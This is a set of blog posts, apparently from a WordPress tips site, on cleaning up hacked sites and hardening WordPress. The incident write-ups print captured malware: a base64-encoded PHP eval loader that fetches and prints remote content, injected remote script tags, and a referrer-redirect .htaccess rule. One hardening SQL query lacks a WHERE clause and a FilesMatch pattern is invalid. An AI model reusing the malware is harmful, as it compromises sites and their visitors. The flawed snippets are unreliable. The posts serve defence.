• Visitors viewing posts on your blog may be redirected to a third-party site.  This may be a site already blocked by Google.
• Visitors may  also be forwarded to the domain googlesearch.com, which has already been disabled.

They provide steps for clearing things up, but it doesn’t look like the entry-point or source of this hack is known at this point.

The hack injects a short JavaScript string into your database at the end of each your post’s content. There are (so far) two known variations of the inserted garbage:

• <script src="http://ae.awaue.com/7"></script>
• <script src="http://ie.eracou.com/3"></script>

To clean this up asap, backup your database and run the following SQL queries:

UPDATE wp_posts SET post_content = replace(post_content, '<script src="http://ae.awaue.com/7"></script>', '');

UPDATE wp_posts SET post_content = replace(post_content, '<script src="http://ie.eracou.com/3"></script>', '');

And remember to change the query prefix from wp_ to your custom prefix.

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | 61 comments | Add to Delicious
Categorized: Security | Tagged: database, hack, mt

• Pharma Hacked
• Security Lockdown

Pharmaceutical Apocalypse

A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site’s pages are requested by a search bot (e.g., googlebot). So when you view your pages in a browser, everything seems perfectly normal. Put simply, the hack is cloaked. We had no idea anything was wrong until about two weeks after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.

Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of additional site security. We were just using whatever “default” protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an impossible hack to fix – nothing seemed to work. We ran through the following routine, hoping to fix it:

• Locate and remove hacked 404.php file
• Locate and remove hacked content from database
• Replace entire set of salt keys
• Upload new WordPress files
• Restore previous versions of other files
• Restore database to previous version

These actions alleviate the symptoms, but they don’t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:

1. Evil script gains access to your WordPress site
2. Encoded spam script injected into database
3. Script inserts spam garbage into pages requested by search bots
4. Script makes no changes to pages requested by browsers

Within the database, the spam script is generated in any/all of these option_name fields:

• class_generic_support
• widget_generic_support
• wp_check_hash
• ftp_credentials
• rss_[string] e.g.,
rss_7988287cd8f4f531c6b94fbdbc4e1caf

If these fields are present and contain super-long strings of encoded gibberish, your site’s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):

site:digwp.com cipro OR meridia OR cialis

If you’re hit, hopefully you catch it before googlebot crawls along. But even if you have thousands of hacked pages appearing in the search index, it’s not too late to clean things up and secure your site. Here is how we did it..

WordPress Security Lockdown

This security strategy is best implemented on new sites. It just makes everything (like renaming table prefixes) so much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to redirect visitors to a maintenance page while you work on your site. That said, here is our five-step Security Lockdown for WordPress:

1. File Permissions
2. File Protection
3. Database Protection
4. Essential Plugins
5. Important Details

[1] File Permissions

After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to 644 for files and 755 permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, wp-config.php was set to 777 – executable and writable by the entire world!! Make sure you don’t see anything like that, and if you do, fix it.

[2] File Protection

In addition to setting proper file permissions, we can also lock down key files with .htaccess. There are numerous files to protect, perhaps most importantly the wp-config.php file, which contains your database login information. Place the following code in your site’s root .htaccess file to protect it:

# SECURE WP-CONFIG.PHP
<Files wp\-config\.php>
 Order Deny,Allow
 Deny from all
</Files>

You may also want to password-protect your wp-admin directory, but it may cause more trouble than it’s worth.

[3] Database Protection

Changing the default table prefix is one of the best ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change wp_ to something more like a password. Some random string like “crUQZPadESeKSy8Q_” will make your tables difficult to hit. Like having a built-in password for your database :)

There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your wp-config.php file before installing WordPress (important: change the random string to something unique):

$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix

Do that before running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way using a plugin or doing it manually.

[4] Essential Plugins

After exploring the vast crop of WordPress security plugins, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:

WP File Monitor

This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:

• Monitors file system for added/deleted/changed files
• Sends email when a change is detected
• Multiple email formats for alerts
• Administration area alert to notify you of changes in case email is not received
• Ability to monitor files for changes based on file hash or timestamp
• Ability to exclude directories from scan
• Site URL included in notification email in case plugin is in use on multiple sites

This is one of my favorite plugins. It’s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you’ll know about it immediately, and even better, you’ll know exactly which files have been affected.

WP Security Scan

This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:

• Passwords
• File permissions
• Database security
• Version hiding
• WordPress admin protection/security
• Removes WP Generator META tag from core code

WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.

Ultimate Security Check

This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for “hundreds of known threats,” and then “grades” your level of site security. Here are some of the key things it checks:

• Checks for updates
• Checks configuration file
• Checks if config file is located in unsecured place
• Checks presence of install script
• Checks server configuration
• Checks database
• Checks code

And quite a bit more. The best part about Ultimate Security Check is that it’s so easy to use.

Secure WordPress

This plugin takes care of all those “little” things. Instead of installing a bunch of smaller plugins or custom functions for this stuff, the Secure WordPress plugin does it all for you:

1. Removes error-information on login-page
2. Adds index.php plugin-directory (virtual)
3. Removes the wp-version, except in admin-area
4. Removes Really Simple Discovery
5. Removes Windows Live Writer
6. Remove core update information for non-admins
7. Remove plugin-update information for non-admins
8. Remove theme-update information for non-admins (only WP 2.8 and higher)
9. Hide wp-version in backend-dashboard for non-admins
10. Block Bad Queries

Having all of this (and much more) done with a few clicks in the WordPress Admin is easy and effective.

[5] Important Details

The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:

• Keep your WordPress install, plugins, themes, and scripts updated with current versions
• Use strong passwords and change them often
• Disable user registration if not needed/used for your site
• Check roles and permissions for all users
• Clean up and consolidate old/loose files
• Remove unused plugins and themes
• Check permissions of upload, upgrade, and backup directories
• Keep a backup of your site files
• Keep your database optimized and backed up

We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the upload, upgrade, and backup directories. It seems dangerous to leave these folders set with 777 permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.

Bottom Line

There is no such thing as perfect security. If someone wants in bad enough, they’re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure wp-config.php, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to strengthen your site’s security, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | 44 comments | Add to Delicious
Categorized: Security | Tagged: database, hacking, plugin

The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.

Here are some of the highlights of WordPress Defender:

• Essential best practices
• Kick-ass security plugins
• Creating tripwires with htaccess
• How to hide sensitive information
• How to setup and connect with SSL

..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John’s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get WordPress Defender.

Special 50% discount on the e-book today through March 3rd!

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | 3 comments | Add to Delicious
Categorized: Security | Tagged: Links, Security

(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)

Custom WordPress Comment Moderation Blacklist

The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:

The ‘Comment Moderation’ field in the WordPress ‘Discussion Settings’ Area

Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):

д
и
ж
Ч
Б
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds

As mentioned, to use this list, just copy/paste into your Comment Moderation field and you’re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It’s all good :)

A couple of notes about this blacklist:

• The first five or so characters are effective at blocking 99% of nonsensical Russian spam.
• The period/comma entries block a recent rash of spam that included these particular strings.
• Most of the terms are highly specific to spam comments and should keep false positives at a minimum.
• Even so, it is recommended that this custom blacklist be used as a “Comment Moderation” list and not as a “Comment Blacklist” in order to retain your ability to screen for false positives.
• Additional terms are easily added by appending the list with the character string on its own line.
• It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.

Any questions/comments/concerns welcome in the comments area.

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | 14 comments | Add to Delicious
Categorized: Security | Tagged: blacklist, comments, Security, spam

• They aren’t 100% sure the cause, but yes, it is their fault.
• About 10% of all (gs) users were affected.
• It’s not WordPress specific, it’s PHP specific.
• Definitely change your passwords, definitely don’t change it back to the original password.

A number of people (Michael Torbert, Kyle Brady, Jeffrey Barke, Adrian Hanft) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:

Dear Valued Customer,

This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.

When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. In poking around a bit, it doesn’t look like Digging Into WordPress was affected. Thank god…

Some of the facts I’m seeing around:

• The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)
• It may be a result of passwords being stored/sent in plain text
• Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites.
• Some folks are blaming Media Temple, others blaming WordPress

Files to check on your own sites

index.php

<!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Which evaluates to this:

$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;

Links are being inserted into the page before the </html> tag:

<!– [6eb602d48b8b7f42aba0ce0c31ebe3f5 --><!-- 9190819521 --><noscript><ul><li><a href="http://rg8rhg34h34h.cc/c">.</a></li></ul></noscript><!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] –>

.htaccess

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]

.nfs* (unnamed file in root of server)

Fixing It

We weren’t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 27 comments | Add to Delicious
Categorized: Security | Tagged: hacking, Links, spam

Step 1 – Setting up a secure database

Because the database is associated with virtually everything you do on your site, it is best to perform any modifications before configuring your options, installing plugins, and adding options. During the installation process, there are some effective ways of increasing the overall security of your WordPress site.

One of the first things that you can do to bolster security is to setup a proper database, user, and password. First, create the table that will be used for your WordPress installation:

CREATE DATABASE `wordpress`;

Now we need a user to go with that database. The key here is to create a user with only the required permissions. Enter the following SQL query to create a user that will have access only to the wordpress from the local server:

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP ON wordpress.* TO 'wpuser'@'localhost'
IDENTIFIED BY 'password';

By requiring that the user access the database from the local server only, we mitigate the possibility of remote database attacks. Further, by granting the user access to only the wordpress database, we ensure that other databases will remain safe should an attacker gain access.

Once the database and user have been setup, install WordPress as normal and continue with the next step.

Step 2 – Setting up a secure configuration file

There are two things we want to do with the wp-config.php file: implement Authentication Unique Keys and change the default database prefix. Let’s do it..

Implement Authentication Unique Keys

Directly after your MySQL database credentials in the wp-config.php file, you have the option of specifying a set of Authentication Unique Keys. These keys improve WordPress’ authentication system, providing strong security to your site. It is highly recommended that you take advantage of this feature.

/**#@+
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
/**#@-*/

To do so, visit the official secret-key generation service and paste the results into your config.php file (replace the four lines beginning with “define”).

While you are you setting up the WordPress configuration file, you also may want to go ahead and optimize performance and implement some other choice configuration tricks.

Change the default database table prefix

While in your wp-config.php file, take a few moments to change your default database table prefix. By default, it’s “wp_”, but this is a well-known fact of which attackers and automated scripts take full advantage. By changing the table prefix to something unknown/random, you are using security through obscurity to help mitigate SQL-injection threats.

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

In your wp-config.php file, locate the above lines and change the table prefix to something random or difficult to guess. I like to include the letters “wp” within the new prefix to help me identify tables specific to WordPress. For example, I might change it to something like, “wp_i337”.

Step 3 – Setting up a secure administration

Once you have finished with your database and configuration file, it’s time to setup a secure WordPress Admin area. We can do this by changing the default Admin username and protecting the wp-admin directory.

changing the default Admin username

By default, all WordPress installations have a default Admin username of, creatively enough, “admin”. As with the default database prefix, this fact is well-known to attackers, who target the admin account with password brute-force attacks. Thus, changing the username of your Admin account will help mitigate this potential vulnerability. To do so, execute the following SQL query on your WordPress database via phpMyAdmin:

UPDATE wp_users SET user_login = 'admin', user_login = 'digwp';

Your default Admin username is now changed to whatever you specified in the query. In this example, your new username will be “digwp”, so you will probably want to change it to something that is more difficult to guess.

Additionally, make sure that the password for the Admin account is as strong as possible. Use a random mix of uppercase and lowercase letters, and throw in a few underscores and numbers for good measure.
 

Protecting the wp-admin directory

All of the administrative files for your WordPress site are contained in the wp-admin directory. By protecting this directory against unauthorized access, we greatly strengthen the security of our site. Depending on your particular needs, there are at least two ways to go about doing this. Let’s look at each of them.

Allow open access only to specific addresses

This method uses a few choice HTAccess directives placed in your site’s root .htaccess file:

# SECURE WP-ADMIN
<FilesMatch "*.*">
 Order Deny,Allow
 Deny from all
 Allow from 123.456.789
</FilesMatch>

Once in place, this code will deny access to all visits from any IP address that is not listed. Simply edit the “Allow from” line with your actual address, and create additional lines for multiple IPs. You can then check that it’s working by visiting your Admin area via proxy service. This is an effective way of protecting your wp-admin directory, but you may prefer using a password-based method instead..

Password-protect

Another option for securing your Admin area involves implementing secondary password protection via basic HTTP authentication. This is an excellent way to lock things down while still enabling access by anyone with the password from anywhere on the Web. To set it up, we need to create a text file with your desired username/password, and then require the username and password via .htaccess file.

For the username/password text file, use a password-generation service and paste the results into a file named “.htpasswd” (without the quotes!) and place it in a secure location on your server, preferably above your “public_html” or root-web directory.

Once the password file is in place, create an .htaccess file for your wp-admin directory and add the following code:

# SECURE LOGIN PAGE
<IfModule mod_auth.c>
 AuthUserFile /full/path/.htpasswd
 AuthType Basic
 AuthName "Password Required!"
 Require username
</IfModule>

After editing the username and full server path to your password file, you’re good to go. Make sure to test that everything is working before cracking a beer.

Important note about protecting wp-admin

As you implement this method, keep in mind that the wp-admin directory is used by a number of plugins, scripts, and even users. For example, if you allow open registration to your visitors, they will be unable to access the registration pages if your admin directory is blocked. Another good example is the Subscribe to Comments plugin, which provides an admin page through which users may unsubscribe to comments. This ain’t gonna work if they can’t access the admin area.

Just the beginning..

Of course, when it comes to the security of your WordPress site, these techniques are merely the beginning. As you continue in your WordPress travels, you will discover many, many more ways to increase the security of your site. By implementing the methods presented in this article during the setup process, you will be strengthening the security of your site’s foundation, providing yourself a solid platform on which to build.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 32 comments | Add to Delicious
Categorized: Security | Tagged: database, Security

Not even Akismet..

“Sure,” you are thinking, “you don’t need any plugins except for Akismet.” I mean, you definitely need that plugin, right? After all, it’s included with WordPress, so it’s got to be important. Umm, not so much. Yes, there are certain blogs that would probably be wise to take advantage of the additional spam-protection that Akismet might provide, but for 99% of the sites out there, it really isn’t necessary.

WordPress is strong enough..

I think one of the most underrated strengths of WordPress is its built-in anti-spam functionality. With an ounce of knowledge and a pound of forethought, you can configure your WordPress Discussion settings to act as a powerful and effective defense against the evil forces of spam. No plugins required! Let’s look at WordPress’ anti-spam tools and see why they’re all you need for a spam-free site..

Default article settings

First up, consider your default article settings. If comments aren’t enabled, of course you know that you don’t need Akismet or any other anti-spam plugin for that matter. If comments are enabled, you can cut out a significant portion of spam by simply disallowing pingbacks and trackbacks. By clicking a single checkbox, all of that crap that comes rolling in as trackback spam will stop. That’s a huge step right there, and it will eliminate every plugin that has anything to do with displaying or controlling ping/trackbacks.

Comment author must fill out name and e-mail

Another smart move, although I think most sites do this one already. By requiring your commentators to at least fill out these two fields (even if it is just dummy data most of the time), you brush off all of those lazy spammers who are picking up the easy ground fruit. Most legitimate commentators don’t mind filling in this info because they usually have something they want to say. Lazy spammers, not so much.

Users must be registered and logged in to comment

If possible given the specific goals of your site, requiring users to log in before commenting is an extremely effective way of preventing comment spam. Although requiring registration will stop a lot of legit comments as well, it is a powerful deterrent to lazy spammers and completely stops automated scripts. Sure, you may still get some trolls stinking up the place, but you would be getting those anyway. Plus, if they’re registered, it makes it easier to deal with them.

Automatically close comments on articles older than XX days

This is my favorite WordPress anti-spam feature. For a long time, we needed a plugin to get this done, but now that it is built into WordPress, everyone should be using it. Here at Digging into WordPress, we close comments on old posts after 90 days, which seems to be just about the right amount of time. Anything longer than that, and your posts begin to get targeted by spammers and automated spam scripts. Especially if your posts tend to do well and build up a lot of page rank, they will be prime targets for spam as time rolls on.

Break comments into pages with XX comments per page

This one’s not as obvious, but it is also a great way to reduce the incentive to spam your site. Spammers target strong pages for their junk, so by breaking your comments into pages of, say, 20 comments each, you get the best comments on the first page (the same page as the article), and then the typically declining-quality comments on subsequent non-ranking pages. Just make sure you are using meta canonical tags to keep the juice where it should be.

E-mail me whenever..

Unless your site is literally flooded with comments on every post, getting email alerts for new comments is an excellent way to kill any spam nonsense that gets through. I have done this at Perishable Press for four years now, and you would be hard-pressed to find even one spam comment anywhere on the site.

Before a comment appears an administrator must always approve the comment

This could get kind of labor-intensive, but it is a 100%-guaranteed way of completely eliminating spam without using any plugins whatsoever. Zero. Nada. Nil. If you are one of the many millions whose blog receives fairly few comments, this method will keep your comments squeaky clean.

Comment author must have a previously approved comment

A super-effective strategy that is not as labor-intensive as moderating all comments and not as restrictive as requiring registration. The idea here is that you get a chance to “meet” each one of your commentators and leave the door open only for the good guys. This technique drastically cuts back on human spam, and virtually eliminates automated spam (unless you don’t catch it the first time).

Hold a comment in the queue if it contains XX or more links

Lots of comment spam is just crawling with links. A few mindless words and then BAM — they drop in a few hundred links. Some of the more subtle spammers are less obvious, but still have to unload their payload somehow, so they usually integrate a couple of links within some not-so-carefully crafted text. You know what I’m talking about. You definitely want to moderate anything with more than like two or three links. This trick is great for catching some of the craftier spam maggots.

Comment Moderation Blacklist and Spam Blacklist

A finely tuned WordPress Blacklist list eliminates the need for many types of plugins, scripts, and third-party blacklists. Any words, characters, or IP addresses included in either the Moderation or Spam Blacklist will be used to innoculate your site against any matching comments. Granted, it takes a bit of persistence to build up a good list, but once you do, it is very difficult for spammers to get around it. Note that, unless you are absolutely sure, you should probably stick with the Moderation Blacklist (regular expressions are powerful things!).

All of these great anti-spam features are like having fifty plugins already built-in to WordPress. With them, you can configure a powerful anti-spam strategy for just about any type of site without any plugins — not even Akismet.

Why not just use a bunch of plugins instead?

Because you don’t have to. Plugins require maintenance, frequent updating, etc. Every upgrade of WordPress and/or your plugins opens the door to possible issues and conflicts. Further, plugins consume valuable server resources, affecting the performance and consistency of your site. In general, the fewer plugins you have, the easier and more efficient things are going to be. I guess my feeling is, try to take the “zen” approach as much as possible — if something isn’t absolutely necessary, don’t bother with it. More and more, I am realizing that anti-spam plugins simply aren’t needed to run an effective and spam-free site.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 47 comments | Add to Delicious
Categorized: Plugins, Security | Tagged: comments, spam

What happens now?

By default, WordPress will prepend “Protected: ” to the title of the post, and replace the content area (and comments area) with a default message:

This post is password protected. To view it please enter your password below:

After the message, a form prompting the user to enter a password. It looks like this:

Shortcomings

Like we said above, what actually gets “protected” is the content of the post and the comments for the post. In the actual theme files, that boils down to:

• <?php the_content(); ?>
• <?php comments_template(); ?>

Anything else is not protected! This includes pulling and displaying custom fields for that Post. Theoretically, this makese sense, as WordPress works by functions, and cannot be expected to know what’s going on in every single custom theme. However, custom fields can potentially contain important information that you might want to be hidden via password protection.

Here is a little code snapshot from the single.php template right here on DiW:

– UPDATE –

The easiest possible way to password protect additional areas is with this simple function:

<?php
    if ( !post_password_required() ) { 
            echo 'protected stuff'; 
    }
?>

Thanks Jay!

The Password Form

This is the form code that gets generated for a password protected post:

<form method="post" action="http://digwp.com/wp-pass.php">
<p>This post is password protected. To view it please enter your password below:</p>
<p><label for="pwbox-531">Password:<br/>
<input type="password" size="20" id="pwbox-531" name="post_password"/></label><br/>
<input type="submit" value="Submit" name="Submit"/></p>
</form>

The ID’s values for you will be different, but that’s the gist of it. This is a bit of a tangent, but let’s say you want to style this form. Good luck, form itself nor the labels or inputs have any class names or ID’s that you can latch onto to style while not potentially affecting other forms.

I thought about the body_class function for a moment, thinking perhaps password protected posts at least get a class for this, but no dice.

I think this is a problem… WordPress should get us some hook here!

Hiding more!

Fair warning, this is a little hacky, as it’s going to rely on JavaScript, which is client side technology that can be turned off, rather than server side technology which cannot.

There is one thing that is unique in that password form code above (hence the tangent), that we can look for with JavaScript. The idea is this:

1. Look for password input
2. If it is present…
3. Hide other stuff.

We’ll use jQuery for this, because it makes it easy and that’s just how I roll. The example below is taken from a site I worked on recently where I was displaying an audio track with custom fields, which was displaying even when the post was protected.

if ( $('input[name="post_password"]').length > 0 ) {
    // hide stuff
    $(".audioplayer").hide();
}

Dealing with that Title

One of the other potential annoyances with password-protected posts is how it appends “Protected” to post titles. This isn’t an option, so removing it is a matter of adding a filter to the the_title function. Add this to the functions.php file:

function the_title_trim($title)
{
    $pattern[0] = '/Protected:/';
    $pattern[1] = '/Private:/';
    $replacement[0] = ''; // Enter some text to put in place of Protected:
    $replacement[1] = ''; // Enter some text to put in place of Private:
    
    return preg_replace($pattern, $replacement, $title);
}
add_filter('the_title', 'the_title_trim');

If it’s not obvious, this will also remove the “Private: ” from being appended to private post titles.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 9 comments | Add to Delicious
Categorized: Security | Tagged: custom-fields, jquery, tricks

Don’t display your WordPress version number publicly
Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version.

This sort of thinking is referred to as “security through obscurity,” and may or may not be an effective way to increase the overall security of your site.

By default, WordPress executes the wp_generator() function whenever the wp_head() hook is called. Typically, this hook is located in your theme’s header.php file within the <head> section of the document markup:

The wp_head() hook as seen via the header.php file

Then, after WordPress processes your web page, the wp_generator() function outputs the following code (depending on page view) to your browser:

<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /> 
<link rel='index' title='Digging into WordPress' href='http://digwp.com/' />
<meta name="generator" content="WordPress 2.8.1" />

Notice that last line there? There are many posts on WordPress security that point out how specifying your version number is a security risk. Whether or not this is the case is certainly debatable, but the thinking is that you should avoid revealing this sensitive information in order to prevent attacks targeting specific versions of WordPress.

Now for the fun part. Assuming that sharing your version information is bad, how to go about removing the information? Well, that depends on how savvy you are with WordPress. Here are several methods to prevent WordPress from displaying your version-specific number, ranked in order from the absolute worst way to the absolute right way. That is, until someone shows us how to do it in less than 41 characters ;)

The absolute worst way to remove the WordPress version number

I have seen recent posts where the author actually recommends deleting the wp_head() hook! Here is an example:

Study what things this function outputs for you, and just hardcode them into your theme files since these values will unlikely change.

While there are indeed valid reasons for removing this important WordPress hook, removing the version number from your source code is not one of them.

A pretty good way to remove the WordPress version number

Much better than simply deleting the wp_head() hook, this method serves us well by placing the version-removal function in the theme’s functions.php file, where it belongs. By returning an empty string for the_generator function, this function removes the version information by preventing output of its <meta> tag:

function remove_version_info() {
     return '';
}
add_filter('the_generator', 'remove_version_info');

This method has the added bonus of removing the version information from not only your blog pages, but from your feeds as well.

The right way to remove the WordPress version number

Going a step beyond the previous method, this technique gets the job done quite eloquently, with a mere 41 characters of code:

remove_action('wp_head', 'wp_generator');

Just place that single line into your theme’s functions.php and enjoy a small taste of “security through obscurity”. :)

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 30 comments | Add to Delicious
Categorized: Security | Tagged: functions, header, PHP

The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can’t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be.

This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don’t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from.

I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn’t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn’t.

I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.

Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, I concluded it must have been a database attack.

Here is what I did:

1. I changed the Admin username and password. Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a new account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.
2. I changed the server admins username and password. My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well.
3. The database name, database username, and database password was changed. Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).
4. I changed the FTP login and password. If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.
5. The XMLRPC file was removed. This file is used for pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.
